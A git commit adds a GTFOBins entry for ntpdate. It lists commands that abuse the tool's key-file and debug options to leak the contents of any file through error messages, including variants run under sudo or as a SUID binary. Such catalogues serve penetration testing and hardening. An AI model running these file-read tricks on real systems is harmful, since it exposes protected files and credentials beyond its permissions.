Add ntpdate

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Bagas Mukti 2023-12-23 19:22:22 +07:00 committed by GitHub
parent 6921399368
commit e988dbb8fa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/ntpdate.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file is actually parsed and lines are leaked through error messages.
functions:
file-read:
- code: |
LFILE=file_to_read
ntpdate -a x -k $LFILE -d localhost
sudo:
- code: |
LFILE=file_to_read
sudo ntpdate -a x -k $LFILE -d localhost
suid:
- code: |
LFILE=file_to_read
./ntpdate -a x -k $LFILE -d localhost
---